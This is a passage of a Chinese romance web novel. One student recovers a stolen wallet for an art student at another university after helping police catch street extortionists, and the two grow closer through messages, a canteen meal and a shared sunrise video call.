当他们走到巷口时，冉乐已经被昨天那一伙人围住了。 祁随之掏出手机，打开闪光灯对着人群拍了张照。 刺眼的闪光灯在昏暗的巷中如同昼日，那一伙人全都不约而同地回过了头。 “嗨，好巧。”祁随之慢悠悠地收回手机，抬起手打了个招呼。 黄毛看着进来的一群人，还有面前这个看着瘦瘦弱弱的有钱小男生，似乎意识到了什么，和同伴交换了个眼神，准备跑。 祁随之向前跨了一步，不由分说地握住了黄毛的手腕：“急什么啊？” 黄毛就像是典型的精神小伙，身上没几两肉，被祁随之这么一攥着，停在原地动弹不得。 而另外几个人，也都被友好地揽住了脖子，一副哥俩好的样子。 站在冉乐身后的人拔腿就打算跑，冉乐猛地回过身跳了起来，一脚踹在了那人的屁股上，给人踹了个大马趴。 冉乐再怎么细胳膊细腿，毕竟也是正儿八经锻炼不缺的。 他十分洋气地蹲在那人面前，甩了甩头发：“抢劫你爷爷我？就凭你们这几个弱鸡也好意思啊？” 精神小伙们骂骂咧咧，倒是祁随之哥几个都带着很轻的笑，强行带着他们往前走，比起这几个精神小伙，反倒祁随之他们更像街头抢劫的。 揪着人走进警局时，坐在里面的警察抬头看了一眼，表情瞬间就变了。 “又是你们几个！！”警察叔叔放下手中的笔，怒气冲冲地走到他们面前。 祁随之适时地松开了握着黄毛胳膊的手，皱着眉，有些嫌弃地拍了拍。 精神小伙们一个两个都跟丧气的气球一样一声不吭。 “街边勒索的。”祁随之简单地说了一下情况，“刚好看到，顺路见义勇为了。” 钓鱼执法的小鱼冉乐在背后冲着祁随之默默竖了个中指。 “惯犯了。”警察叔叔叹了口气，“辛苦你们了，交给我们解决就行。” 话音刚落，电话铃响，警察叔叔绕到后面，接起了电话。 “昨天的东西，该物归原主了吧。”祁随之摊开手放在黄毛面前。 “什么东西，我不知道！”黄毛盯了祁随之一眼，发现气势上好像比不过，又收回了目光。 “钱包、钱、一个背包。”祁随之说，“你要是不记得，我只能让警察帮你记得记得了。” 黄毛眼轱辘一转，沉默了片刻。他是惯犯，今天高低算个未遂，但昨天不一样，他是真真切切地从别人那里勒索到了东西的。 “钱用完了。”黄毛从口袋里掏出钱包递给祁随之，“那个破包里什么都没有，我给扔了。” 明暄的钱包价值不菲，即使这群人再不懂货也知道是个好东西，便没有扔掉，而是留下来纳为己有了。 祁随之接过钱包：“本来有多少钱，那个包扔哪了？” “六、六七百吧？”黄毛说，“包就在那个破巷子里。” “六百还是七百。”祁随之冷着眼看他。 “我他妈哪……”黄毛话还没说完，祁随之就十分友善地搭上了他的肩膀，指尖一用力，在他肩后的那根筋上拨了一下。 黄毛疼得闭上眼发出哀嚎。 祁随之的指尖在那根筋上轻点：“六百，还是七百。” 黄毛感觉自己这辈子记性都没这么好过，这些钱用在了哪里，用了多少，加起来…… “七百、七百！” “行。”祁随之收回了手，与此同时，警察叔叔也打完了电话走了出来。 “我这还有个昨天偶然拍到的一段视频，应该可以当物证一起上交了。”祁随之打开手机，调出那段视频给警察叔叔看。 视频刚好是从这伙人从明暄手上拿过钱包开始，到祁随之接走明暄为止。 铁证如山。 “你他妈不讲信用？”黄毛不可置信地看着祁随之。 “我们会解决的。”警察叔叔说完后，冲着这群精神小伙川剧变脸似的换了一张面孔：“你闭嘴！站着挡路干什么！！该去哪儿等着不知道啊？第一次进还要我请啊？？” 黄毛几个呲牙咧嘴地往审讯室旁的长廊走，偏偏还听见冉乐带着调笑的声音。 “谁跟犯法的人讲道理啊？” “辛苦您了。”祁随之对着警察叔叔颔首，和冉乐他们一同离开了警局。 大牌档里小雅和另外几个人还在一边吃一边谈天说地，走到大排档门口时，祁随之停下了脚步。 “我还有点事，等会来找你们。” 说完后，祁随之插着兜走进了那条小巷里。 小巷里乌七八糟，气味也难闻，到处都是破纸壳子和别人随手扔的垃圾。 祁随之打着手电，在地面上张望。 灰色的包被打开了，冗成一团，上面还有脏乱的脚印，被踹到了一旁的纸壳下面，掉出来的颜料被踩烂，在地面上留下斑驳脏乱的痕迹，露出头的几支画笔也被踩裂，没眼看。 祁随之蹲下身，叹了口气，将散落的东西放进这个包里，拍了拍上面的灰，拉好拉链甩在了肩膀上，走进了兄弟们聚餐的大排档里。 “我靠我跟你讲，随之真的好勇猛，他敢在警局动手的，你是不知道那个黄毛都被随之打趴下了！”冉乐激情地和其他人讲述，抬着的手差点打到祁随之的脸上。 “这么一会儿就开始编排我了？”祁随之坐回了之前的座位上，“我什么时候在警局动手了？” 小雅撑着下巴，好整以暇地看着祁随之。 “我就捏了捏他的肩膀而已。”祁随之说。 “然后给人捏趴下了。”冉乐“啧”了一声，“更猛了你。” 祁随之有些无语。 “你捡垃圾去了？”虎哥看到祁随之肩上的那个沾着颜料的脏兮兮的包，问了一嘴。 冉乐挑了挑眉：“小可爱的东西吧？” 祁随之听着这个称呼，没忍住笑了笑：“啊，是他的东西。” “脏成这样了，人还要么？”冉乐问，“万一他不要岂不是白忙活。” 祁随之不置可否，饭局结束时起身去前台结了帐。 折腾到快凌晨才回到家，祁随之把包放在客厅，把里面的颜料画笔倒在了茶几上。 从包里滚出来的还有一小瓶用了一半的，标着外文的透明油。 祁随之想到了一些奇妙的东西，扬了扬眉毛。 他把这个倍受蹂.躏的包塞进了洗衣机，那一堆可以用的、不能用的画具还有那一瓶油就这么大剌剌地摆在茶几上，也不收拾。 看着还挺有艺术感。 祁随之坐在沙发上，拿起那一瓶油，打开包装很轻地嗅了一下。 味道很淡，还挺好闻的。 将这瓶油重新盖好放在茶几上，听着洗衣机咕噜咕噜的声音，祁随之掏出手机，打开了微信。 明暄在那一句“你女朋友不会生气吧”之后就没有再发任何消息过来。 他指尖轻点。 【祁随之：应该不会】 【祁随之：毕竟我还不知道他是谁】 9. 第 9 章 从消息发出去到现在，明暄每隔几秒就要看一眼手机，既期待又害怕地等待着来自祁随之的消息。 随着时间的推移，心一点点地下坠。 迟迟没有回应，看起来不是很妙。 直到靳亚提着给明暄打包回来的外卖回到宿舍时，微信的新消息提醒也没有再弹出来。 这会儿明暄已经像个自闭小猫一样把自己的脑袋完完整整地埋进了臂弯里。 “给你带了一块儿糯米糍还有一份桂花冰粉。”靳亚将包裹好的纸袋放在了明暄的桌上，“咋了你又？” “没怎么。”明暄抬起头，额头和胳膊上都印出了一大片红印，看起来有些滑稽，他耷拉着眉眼拆开纸袋，“谢了。” 明暄拿过手机，强迫自己忽视了置顶聊天自己的那句绿茶发言，点开靳亚的聊天框，把晚饭钱给他转了过去。 明暄晚饭一向吃的不多，更何况是在燥热的夏天，让他吃一些冒热气儿的东西还不如给他一刀来的痛快。 靳亚知道他的事儿逼属性，给他带的都是明暄偏爱的食物。 凉的，甜口。 明暄拆开外卖包装，看着冰凉的桂花冰粉，叹气。 怎么是凉的，是不是在暗示他还没开始的恋情就这么凉了！ 他又拆开糯米糍的包装，看着里面单个儿的孤零零的糯米糍，再次叹气。 怎么就一个，是不是从旁敲击他注定单身！ 他一个人坐在位置上，看着冰粉叹两口气，看着糯米糍叹两口气，撑着脑袋叹两口气，拿起勺子叹两口气。 活像个深闺怨妇。 靳亚觉得旁边好像坐了个漏了气儿的气球。 “吃不吃啊你？”靳亚都无语了，“你又一个人琢磨啥呢？” 明暄没有说话，把ipad立了起来，挑了个歌单随机播放。 [感谢我不可以 住进你的眼睛 所以才能拥抱你的背影]＊ 悲情的歌传入明暄耳中，配着凄凉的冰粉和单身的糯米糍。 他感觉自己就像是琼瑶剧里爱而不得的苦情角色。 深呼了一口气，长叹。 气儿叹到一半时，被靳亚拍在他后脑勺的一巴掌硬生生地打断了。 “干什么干什么！”明暄吃痛，双手捂住后脑勺回过头看向靳亚。 靳亚一脸地无语：“你再叹气我要打电话让何征问一下他妈今天是不是有夜骑出车祸的人了。” “啊呸呸呸！”明暄没好气地看着他，“少说不吉利的话！” “那你长吁短叹的是要干什么，给我都整烦了。” “哎。”明暄拿起糯米糍咬了一口，“我试探了一下他有没有女朋友，他到现在都没有回我。” “ok，fine。”靳亚点头，“我知道了，不用再说了，恋爱脑，嘲讽哥们没追到的时候没想到这一茬吧，该。” 明暄懒得和他拌嘴，头一瞥耳机一戴，沉浸在了自己的悲伤情绪中。 明暄的低沉一直维持到了另外两个室友回来。 何征和宋秉兼看着平时挺会闹腾的明暄这么安静地坐在位置上一言不发，冒出了同一个想法—— 小屁孩儿终于长大知道安静了。 明暄洗完澡躺上床，叹气，翻身，掀过被子把自己整个人都蒙了进去。 “你身上有虫是吧？”何征正在和女朋友聊天，听着旁边的人翻身带着这质量一般的宿舍床吱吱呀呀地叫，忍不住开口。 明暄的声音沉闷：“有对象的人别跟我说话。” 何征：？ “叮” 薄被子蒙着脑袋，手机的亮光打在明暄脸上。 【祁随之：应该不会】 完了，证实了。 明暄沉默地闭上了眼。 “叮” 手机在手心又震动了一下，明暄眯着眼，不太敢瞧。 他深呼了一口气，认命地看向了屏幕。 【祁随之：毕竟我还不知道他是谁】 毕竟我还不知道他是谁。 还不知道。 他是谁。 什么意思，怎么会有人不知道自己女朋友是谁？ 难道…… 这不就是没有吗！！ 好你个祁随之！！ 明暄说不太上来看到这一条消息时的感受，只知道他猛地掀开被子站了起来，“哐”地一声，脑袋磕到了房顶上。 声音又大又闷，撞得不轻，手机啪嗒一下跌落在脚边，落在柔软的薄被上。 “哎哟卧槽？”何征坐起身子，像看马戏团表演一样看着明暄，“大晚上整什么行为艺术？” 明暄揉着脑袋痛苦地蹲在了床上。 这颗头，晚上被靳亚拍了一巴掌，深夜又撞上了天花板，很难说不是一颗命途多舛的头。 他抱着脑袋，挪了挪位置，面对着何征摇了摇头，委屈地开口：“疼死了……” 在黑夜里，落在被子上手机屏幕的亮光洒出去，照亮了小半个天花板。 微信提醒音在寂静深夜里格外明显，明暄一手揉着脑袋，一手摸回手机，抠下一旁的静音键。 【祁随之：明天你有空吗？】 明暄瞪大了眼睛，来来回回点进聊天框，确认自己没有眼花。 “卧槽！！” 也不管被天花板磕疼了的脑袋，他就着手机屏幕的光线，穿着睡衣从床上爬了下来，在不太空旷的宿舍里手舞足蹈。 目睹全程的何征喃喃自语：“我操……疯了啊？” “明暄。”靳亚带着睡意的声音响起，“我刚睡着，你别逼我现在下来把你揍一顿。” 明暄这会儿心情大好，他眨巴着眼睛去扒拉靳亚的床沿，踮着脚扯他的头发：“我开心了！想下楼跑两圈！！” 靳亚忍无可忍地拍开他的手：“大半夜跑个屁，你从六楼跳下去跑吗你！” “别吵了……困……”宋秉兼明显还没睡醒。 明暄“啧”了一声，跑圈儿梦破碎。 但不影响他的好心情。 他就像像素游戏里的小人，一通闯关后血量岌岌可危，而祁随之的一句话，就像游戏里的小爱心，只要一看见，立马满血复活。 手机再一次震动，这一次发过来的是一个语音条。 他拿着手机走进阳台，关上了门。 “有空的话，明天见一面吗，有东西给你。” 祁随之的声音不大，带着点儿呼吸的气音。 月华如练，替身边的少年，轻轻在他心尖撩了一下。 【明暄：有的！】 明暄露出笑，翻开了自己的课表。 看着满满一天的课，明暄的脸瞬间垮了下来。 除了饭点，他有个锤子的空。 等等，饭点！ 饭点…… 【明暄：明天下午下课我去找你？】 【明暄：刚好我还没吃过T大的食堂呢】 【祁随之：行啊，请你尝尝】 【祁随之：时间不早了，早点休息，晚安】 【明暄：晚安】 好似味蕾复苏，晚上食不知味的甜糯米糍和桂花冰粉的味道甜滋滋的，蔓进心间。 明暄又一次点开了那条语音播放。 一次又一次。 语音条，进收藏夹吧你！ · 明暄提前一刻钟从教室偷偷溜了出去，弓着腰低着头，像做贼一样。 走到后门时还踢到门槛儿往前栽了好大一步，多亏他平衡还行才没有脸着地。 但还是丢人。 不过无所谓，即将和祁随之见面的欢呼雀跃涌上心头，下楼的时候明暄甚至蹦跶了起来。 【明暄：我到啦！】 【祁随之：我还没下课，你等我一会儿？】 【明暄：可以啊，那我在门口等你】 没一会儿，明暄的微信弹出了一条消息—— “祁随之”邀请你进入位置共享。 【祁随之：不介意的话来教学楼？我在三楼】 明暄当然不介意！ 他扬着笑容点进位置共享，横着手机，朝着祁随之头像的方向走。 位置共享的小头像就像迷宫里的小钢珠，明暄在一点、一点地向他靠近。 等明暄找到这栋楼时，下课铃响，在一群走出教学楼的人里，唯他一个逆着人群。 大学生下课比谁都积极，明暄挤上三楼时，这层楼已经没几个人了。 明暄看着手机，他和祁随之的头像还差一小段。 往前走，直到两个小头像重叠在一起。 前面是个拐角，他鼓了鼓腮帮子，刚想转过去，就听见了一个娇滴滴的女孩儿的声音，还带着点儿紧张的颤。 “祁随之，我、我是英语系的……，我有话想对你说！” 明暄下意识地撤回了脚步，背靠在冰凉的墙壁上，不光明地听着女孩儿的心声吐露。 女孩儿估摸着实在紧张，磕磕巴巴地说了一大堆，结尾定在了那一句“我喜欢你，能不能跟我交往”上。 不知为何，明暄的心也跟着怦怦作响。 祁随之的声音礼貌中带着疏离：“谢谢，但我没有谈恋爱的打算。” 明暄心下一悸。 “那、那……”女孩儿的声音颤抖。 “抱歉，很谢谢你喜欢我。”祁随之礼貌的拒绝。 脚步声响起，估摸着是女孩儿离开了。 明暄靠在墙壁上，偏着头看着玻璃窗外的校园景色，手机还亮着，位置共享里，两个头像叠在一起。 “藏什么呢，看见你了。”祁随之伸手在他的面前挥了挥。 明暄来时大起的心情在听到祁随之那句“没有谈恋爱的想法”后变得大落，他悻悻一笑没有说话，跟着祁随之一前一后地下了楼，往食堂的方向走去。 “对不起啊，我不是故意听你们说话的。”明暄打破了两个人之间的沉默。 “没关系。”祁随之说，“我自己都很意外。” “嗯？”明暄抬眼看他，“意外什么？” “意外会有人跟我说这些话。”祁随之笑了笑，“还在今天。” 你好像认不清自己的魅力。 明暄心想。 “你真没打算谈恋爱吗？”明暄状似轻松地随口一问。 祁随之偏过头看了明暄一眼，没有回话。 T大的食堂有好几层，一楼是平常的大锅饭菜，二楼是一些粉面干锅的小店，三楼则是可以点的小炒菜。 祁随之带着他上了三楼，点了几个菜，拿着餐牌坐在了明暄的对面。 明暄一向情绪随心，一顿饭吃的食不知味。 直到祁随之将餐盘送回后，拿了一瓶酸奶回来。 “不谈恋爱用来拒绝的话，不会让女孩儿难堪。”祁随之慢悠悠地将酸奶打开，放在明暄面前，“来的路上看到那个姑娘了，所以没说。” “你喝的那个草莓奶我没看到有卖，只有酸奶。” “啊，你其实不用跟我解释的……”明暄接过酸奶，叼着吸管小声地说。 “这样吗？我看你吃饭的时候一句话都没说。”祁随之说，“我以为你在等我解释。” 被戳中了心事，明暄耳根泛起绯红，顺着锁骨藏进衣领。 他轻咳了两声，赶忙转移话题。 “对了，你今天突然说要见一面是有什么事儿吗？” 祁随之伸了伸腿，从口袋里翻出了一个钱包递给了明暄。 是上一次他乖乖给小混混的那个。 “数数钱有没有少。”祁随之说，“不过你另一个包里的东西都被弄坏了，包也脏了，被我带回去洗了，还没干。” 明暄接过钱包，微微张着嘴，眼里满是不可置信。 “你去找他们了吗？你没事儿吧？他们没动手吧？” “吃饭的时候碰巧看到了而已。”祁随之说，“况且我和朋友一起的，就算动手他们应该也打不过吧。” 明暄很轻地打开钱包，七张一百的人民币叠成一叠，排在里面。 食堂嘈杂喧嚣声不再入耳。 周遭仿佛全都为他安静下来，无声地催着他—— 你听，是谁的心跳那么快、那么急。 明明是白日里，明暄却忽然听见了蝉鸣的声音从心底生出，竭尽全力地拥抱着这一瞬间的心动。 恰值芒种，少年在最适宜的季节里，再一次、再一次对着眼前人心动不已。 他抬眼看着祁随之。 “钱都没动啊？” “嗯。”祁随之点头，“没来得及吧应该。” “祁随之。”明暄看向他的眼神温柔地仿佛能掐出水，“你怎么这么好啊？” “我这叫学雷锋做好事，见义勇为。”祁随之笑着开口。 明暄没再说话，只是一直看着他。 他并不缺这几百块钱，也不在乎这一个钱包。 他也没告诉祁随之，其实他包里的七百块钱，并不是七张一百。 而是五张一百、三张五十、两张二十和一张十元。 10. 第 10 章 明暄靠不剩多少的理智和祁随之告别，用最后一点儿残存的理智表面平静地回到了宿舍。 打开宿舍门冲进去的一瞬间—— “啊！！！” “卧槽！”何征这会儿正戴着耳机玩游戏，被明暄这一声喊吓得差点把鼠标扔了出去，“你发什么疯！！” 明暄没搭理何征，左脚蹬右脚把运动鞋一踹，踩着梯子往床上一跳，裹着被子来回翻滚。 “谈恋爱了？”何征问。 明暄把钱包抱在怀里，被子遮盖住的脸上是藏不住的笑意：“没有呀。” “那你这——”何征指了指他，“失心疯？” 过了好一会儿，明暄滚够了笑够了，盘着腿裹着被子坐直了身子，大手一挥：“来，咱兄弟俩谈谈心。” “……你说吧，我听着。”何征无奈地开口。 明暄手脚并用，绘声绘色地把今天发生的事儿都给何征讲了一遍，讲到一半的时候还从床上翻身下来，将这个失而复得的钱包塞进了抽屉最里层。 何征听着他来来回回的讲，一遍又一遍的问些弱智问题，忍不住狂翻白眼，懒得搭理他。 明暄跪坐在吊椅上，手臂交叠搭在靠背上，下巴抵着手臂，膝盖轻轻用力，整个人一晃一晃的。 他对面的何征一个视线都没有投给他。 “哎你理理我。”明暄背过手，从桌上摸到一颗硬糖，抬手砸到了何征的脑袋上，“我之前说错话了，你不适合少女漫，我适合，你不是恋爱脑，我才是，你别不说话了，你跟我说说话。” 何征长叹了一口气，幽怨地转过头看着他：“从你回来发完疯到现在，我已经听你说了他妈两个小时的话了，你还要说什么？” “你说他对我到底有没有意思？”明暄眨巴着眼，满怀期待地看着何征。 这个问题，在前两个小时内，何征已经回答了七次。 这是第八次。 “合着我刚刚说那么多你是一句没听进去？”何征站起身，走到明暄面前，伸手捏住了他的腮帮子，一紧一合，看着他的嘴嘟起来又松下去，“你都说的这么清楚了，那就是有呗，别再问了，再问同样的问题我就拿胶带封住你的嘴。” “噫……”明暄仰着头看他，脸上写满了嫌弃，“你好色.情。” 何征：？？？ “什么毛病你？” “那你说我如果现在追他有没有戏啊？”明暄拍了拍他的手，眨着眼问道。 何征松开了手：“你跟他认识多久？” “……三天。” 何征问：“认识三天的人说喜欢你，你自己信不信？” “信。”明暄点头，“我，一见钟情的典型代表。” 何征长叹了一口气：“暄儿啊，你别逼我揍你。” 明暄每天都要听三个室友说一万次“你别逼我揍你”，但至今他还没挨过揍。 所以他丝毫没在怕。 “那这个钱他为什么要塞给我，还装作是别人没动过？”明暄问。 “你那天出去画画，穿的破破烂烂的，可能以为你穷吧。” 明暄抿着唇，思考起他们初遇那天的穿搭。 他那天穿的确实不亮眼，什么衣服耐.操穿的什么，衣摆裤腿上还有干了的颜料痕迹。 “不对啊！”明暄拧着眉，撅着屁股回过身打开抽屉，拿过了那个钱包，“我这钱包好几千，不至于觉得我穷吧？” 何征仰天长叹：“……你要这么想我也没办法。” “什么渣男语录。”明暄嘀嘀咕咕了一声，“那他这个钱怎么办啊，我总不能真收着啊。” “他塞进你钱包里的钱……”何征捏了捏下巴，“还他感觉也不怎么好？你要么去买个礼物给他吧。” “何征！”明暄大彻大悟，跪直了身子，恨不得给何征磕两个，“你就是恋爱之神丘比特！” “……我他妈是你爹。” 明暄毫不在意他大逆不道的发言，鼓着嘴思考应该送祁随之什么礼物。 “不过我劝你先别想送什么，你先想想下周的结课作业怎么搞定吧。”何征说，“画完了？” 明暄的表情瞬间变得有些呆滞。 他出门画画那天就是为了画他的结课作业，那幅画虽然被他背了回来，但刚画完的油画是干不透的，也不知道是不是那天晚上蹭花了一大块，颜色糊成一团，根本没法儿当成作业交上去。 “救我，何征哥哥——”明暄委屈巴巴地看着何征，“我画笔颜料都没了，能不能赏脸陪我去买一下？” 何征无情地拒绝：“不能，我上回问你要不要带你自己说不要，我不出门。” 明暄撇了撇嘴，认命地出门买颜料调色板。 临近期末的校园里赶结课作业的美术人，多少沾着些不正常。 蹲在地上捡树叶的捡树叶，扒树枝的扒树枝，甚至还有人蹲在地上用手铲泥巴。 并且乍一看去，一片儿都是彩色的脑袋。 明暄看着他们觉得有意思，没忍住掏出手机给祁随之发消息。 【明暄：我准备出门买个颜料，然后看到我们学校里好多人都在扎堆捡树叶捡沙子，第一万零一次感叹美院真疯狂】 【祁随之：嗯？捡这些干什么，是要对着画吗？】 【明暄：不是哦，是把树叶当作画笔，沾上颜料在画纸上糊来做肌理效果】 祁随之并不知道什么是肌理效果。 【祁随之：你也试过吗？】 【明暄：试过，我还试过用吃剩的蛋糕坯沾上颜料往画纸上印】 【明暄：哎，画画嘛，急了什么都往画纸上试】 【祁随之：美院真疯狂】 【明暄：这只是结课时的疯狂，毕设人更疯狂】 【明暄：之前毕业季有学长毕设终于画完后，在操场搞起了行为艺术，那场面真的有点绝】 【明暄：欸对了，说起来月末我们学校毕设展，你要不要来我们学校看一看？】 【祁随之：好啊】 【祁随之：不过我没有什么鉴赏能力，要劳烦你给我做讲解员了】 祁随之一点儿也不推脱，答应的自然，明暄握着手机在大路上直接一蹦三尺高，走路身后都带上了风。 祁随之本来表情挺不好看的，冉乐看着他的表情都不敢上前，这会儿他对着手机发了几条消息，表情都柔和了不少。 “哥，我错了。”冉乐趁着祁随之心情好的时候，赶忙上前道歉，“真错了，再也不敢了。” 祁随之靠在维修店的墙上，看着冉乐叹了口气，伸手把玩着车钥匙：“你没出事就行。” 他一直都知道冉乐压不太住重机，本以为他会有些自知之明过个眼瘾就算了的，但也没想到冉乐能虎到在他没注意的时候，车都没推出地下室就上车给油。 果不其然的翘头摔车，差点儿整了个人车分离。 幸好冉乐护具带的齐全，车也只在地上蹭了一下。 “H2还是牛逼。”冉乐心有余悸地拍了拍胸口，“像野兽。” 祁随之最开始骑这辆车的时候，也没少出现各种小状况，就像冉乐说的一样。 川崎ninjaH2是猛兽，而祁随之是驯兽人。 祁随之无奈地看了一眼冉乐：“你但凡在我眼皮子底下上车，也不会一上去就翻。” 冉乐挠头嘿嘿笑了两声。 “小可爱给你发消息呢？刚你那脸色我都他妈想跑。”冉乐看着祁随之没有生气的意思，赶忙卖乖，“突然就阴转晴了。” 祁随之“嗯”了一声，视线再度落回到了手机屏幕上。 【明暄：跟你说哦，我们学校好多七彩人，我之前看到我室友都是黑发时，还以为学校按发色分的宿舍呢】 【明暄：然后我发现不是，因为我隔壁宿舍四个人，头发凑齐了七个颜色】 【明暄：我还没染过头发，你说我要是染头发染什么颜色好看啊？】 手机在祁随之的手心嗡嗡地不停震动，祁随之看着屏幕，都能想到明暄是怎么样像个小麻雀一样哔哔叭叭个不停的。 祁随之看着明暄从画画说到发色，突然间就理解了为什么很多人说分享欲最为热切浪漫的。 他其实没有和用文字聊天分享日常的习惯，更没有倾听别人琐碎日常的习惯。 同学几乎都是点头之交，一块儿骑车的朋友知道他懒地和人交谈，除了一块儿骑车或者吃饭的时候会聊两句，平常在微信上也只会说两句哪哪儿又有比赛，或者什么时候一起出来骑车。 明暄就像一只跳脱的小鹿，噔儿噔儿地，把自己塞进了他的生活中。 【祁随之：现在就很好看】 【祁随之：不过你长得好看，染什么颜色应该都会好看的】 明暄发来了一条语音，身边还有着嘈杂凌乱的声音。 他点开，扬声器内明暄的声音仿佛瞬间盖过了维修店内机械运作的声音。 带着些讨巧，又带着些撒娇。 “我长得好看是有多好看？” “嗯？？？”冉乐瞪大了眼睛，“不是小可爱吗？？怎么是个男的？” 祁随之视线还停在屏幕上，指尖轻点—— 你最好看。 消息发送，祁随之不紧不慢地抬眼看着冉乐。 “可爱跟男女有什么联系？” 11. 第 11 章 S大的每栋教学楼都有独立的画材室，明暄买完画材后，索性直接找了个公共画室画作业。 画室里不止一个人在赶工，周边一片狼藉，有画到一半的画，也有放在柜子上等待阴干的画，地面到处都是用剩的画材、一条条的胶带、卷成团的卫生纸报纸之类杂七杂八的玩意儿，几乎没有落脚地方。 明暄司空见惯。 他找到窗边的一块儿空地，架好画板。 最初他画的那副结课作业是一片夜景，但这会儿已经被碰花不能用了。 明暄画画有一个很大的特点，他画过一次的画，除非是必要的，他很难再提起兴趣去画第二次。 那现在该画什么呢…… 笔杆戳着下巴，明暄歪着脑袋看着一片空白的画布。 有了！ 他打开了手机，翻出相册里的一张图，把手机设置成常亮模式放在一旁。 颜料沾上松节油，画笔在画布上大刀阔斧。 用作底色的蓝和绿顺着画布往下坠。 明暄的表情变得郑重。 为了这一副画，明暄除了上课和吃饭睡觉的时间，几乎都泡在了这个画室里，一待就是好几天。 最终画完出来的时候，明暄已经双眼无神了。 “好累，脖子好痛，腰好痛，我一定需要这份文凭吗？”明暄仰着头瘫倒在躺椅上，白色的灯光聚焦又分散，有些恍惚，“这画我非画不可吗？” “是的亲，你一定要画。”靳亚头都没抬，无情地开口。 明暄侧着头，猛地往另一边一倒，清脆的咔擦声响起。 他抬手揉着自己的后颈：“啊——” “结课作业不至于画这么久吧？”靳亚说，“你画作业不是一向飞快？” “总觉得画的不够好，就一直在改。”明暄的声音有气无力。 “哟？你也有觉得自己画的不好的时候啊？”靳亚惊呆了， “画了啥，给我瞧瞧？” 明暄抬手摸到桌上的手机，解开锁屏后，打开相册翻出来最新的一张递给了靳亚：“画放教室了。” 靳亚接过了手机。 画的主体颜色是苍翠的绿，绿叶下是被掩盖的碧蓝的天，从下方延伸了一条蜿蜒的水泥路，道路中心是一台眼熟的机车，跨坐在车上的人微微向后转头，露出了小半个侧脸。 即使看不见脸，靳亚也知道这画的是谁：“……我算是知道你为什么能画这么久了。” “啊……”明暄疲惫地点了点头，艰难地站了起来攀着梯子往上爬，“确实，要是随便画个静物我当天晚上就回来了。” “这快到饭点了你爬上去干什么你？”靳亚抬着头看他。 “不吃了。”明暄打了个哈欠，“我得睡会儿……” “你手机——”靳亚拿着明暄的手机往上递。 没人接。 明暄脑袋一沾上枕头，呼吸立马变得匀轻，直接昏睡了过去。 靳亚抿了抿唇，摁下静音钮把手机放在了他的桌上。 明暄这一觉睡得天昏地暗，醒来的时候阳台还是暗的，整个宿舍楼寂静一片。 伸出手在枕头下摸了一圈儿，没摸到手机。 他揉了揉眼睛，轻手轻脚地爬了下去。 摁亮手机，刺眼的亮光让他下意识地眯了眯眼睛。 手机自动进入了睡眠模式，屏幕上没有任何一条消息提醒，只有一个光秃秃的时间挂在正中心。 04：41. 很奇妙的时间，除了通宵画画的时候，他好像还没有在这个时间清醒过。 明暄偏了偏手机照亮了自己的位置，伸手拉住吊床的麻绳，蹑手蹑脚地坐了上去。 关闭睡眠模式。 各种各样app的提醒占满了屏幕，就连微信消息也一条接着一条。 明暄单手撑着下巴，把手机平放在桌面上，用食指慢悠悠地戳戳点点。 戳进微信里，有着小红点的头像占了满满一页，但置顶的那段聊天记录却没再更新。 他鼓了鼓嘴，表情有些委屈。 好几天了，我一忙起来不跟你说话你就一个字也不给我发啊？ 情绪上头，明暄打开和祁随之的对话框，思索了好长时间后，指尖点点。 【明暄：我不开心了】 消息一发出去，明暄就退出了和祁随之的聊天框，看着满屏幕的小红点发呆。 呆了片刻，他突然意识到自己这个行为好像有些矫情。 凌晨四点半，突然给人发消息说自己不开心。 矫情精。 明暄再一次点进祁随之的对话框，对着这句话长摁，撤回。 在他撤回消息的同时—— “祁随之邀请你语音通话” 嗯？ 嗯？？ 手机震到手心快要发麻，明暄好似才有了实感。 凌晨四点半，祁随之给他打电话？！ 他赶忙拉开抽屉戴上耳机，接通了电话。 耳机里飒然的风声逐渐变小，祁随之的声音变得清晰。 “我们小画家怎么不开心了？” “啊……”明暄抬起头看着自己熟睡的室友，起身轻手轻脚地走进阳台关上了门。 “做噩梦了？” 明暄打开窗撑在玻璃窗边，看着高悬的明月，轻轻摇了摇头：“没有。” “那是为什么不开心了？跟我说说吧。”祁随之问。 这一通电话打了过来，明暄刚刚那一点不痛快早就消散了个干净，化成了一个又一个甜腻的蓓蕾。 “没怎么……”明暄向月亮藏起自己的笑容，低下了头，看着自己的脚尖，“画画画累了而已。” “这么晚才画完啊？”祁随之问，顿了一下，语气突然变得严肃，“你不会这么晚还在外面吧？” “啊，没有没有，我在宿舍阳台。”明暄赶忙摇头，“今天下午就画完了，一回来就睡着了，睡够了，刚刚就醒了。” 他有些想问为什么祁随之这几天都没有给他发消息，但嘴唇一碰一合好几次，都没问出口。 显得矫情。 “你那里有风声，你在外面吗？”明暄问。 “嗯。”祁随之说，“突然想看日出，在骑车。” 明暄瞪大了眼睛，说话的声音都忍不住大了起来：“我的天！你骑车还打电话？” 轻快的笑容顺着耳机传进明暄的耳中，酥酥麻麻。 “担心我啊？” 明暄抿着唇不说话，就好像只要他不开口说话就不会影响到祁随之骑车。 “别担心。”祁随之说，“给你打电话的时候已经在慢慢减速了，现在停在路边。” “喔——”明暄拖长了尾音，背靠着墙壁蹲下去，一边接电话一边抠手指，“怎么突然想要看日出？” “陶冶情操。”祁随之说，“毕竟可是月底要去看美院毕业展的人，不能完全看不懂吧？” 明暄沉默了片刻。 他不知道该不该告诉祁随之，美院的毕业展看不懂才是正常的。 “那……” 明暄话还没有说完，就听祁随之又开了口。 “要不要和我一起看？到了地方给你通视频。” 明暄不会对祁随之说不。 嘴上说着的是到了地方通视频，但两个人都心照不宣地没有挂断这个电话。 明暄半蹲在阳台上，听着耳机里风声啸鸣，听着泄压阀的声浪，听着隐藏在其中的，很浅很浅的属于祁随之的喘.息声。 他好像在祁随之车上，又好像在祁随之怀里。 声音再一次停下是在半个小时后。 明暄很难想象自己可以听着他曾经不那么喜欢的声音半个多小时还意犹未尽。 “明暄。”祁随之说，“天亮了。” 明暄了然地将手机举在面前，祁随之那边已经打开了摄像头。 祁随之在海边。 天空是漂亮的橘粉色，蔚蓝的海水蒙上一层金，碧波蘸着霞光，变成璀璨夺目的宝石。 明暄看着橘色的光晕逐渐扩大，从海平面升起小半个太阳，舍不得眨眼。 他不住地失声赞叹：“好漂亮。” 待到霞光漫至，“咔擦”一声，明暄截了张图。 “我之前临摹过日出。”明暄捧着脸说，“但没有比现在更好看的了。” “想看吗？” “我在看啊。” 天光大亮，太阳完全升起。 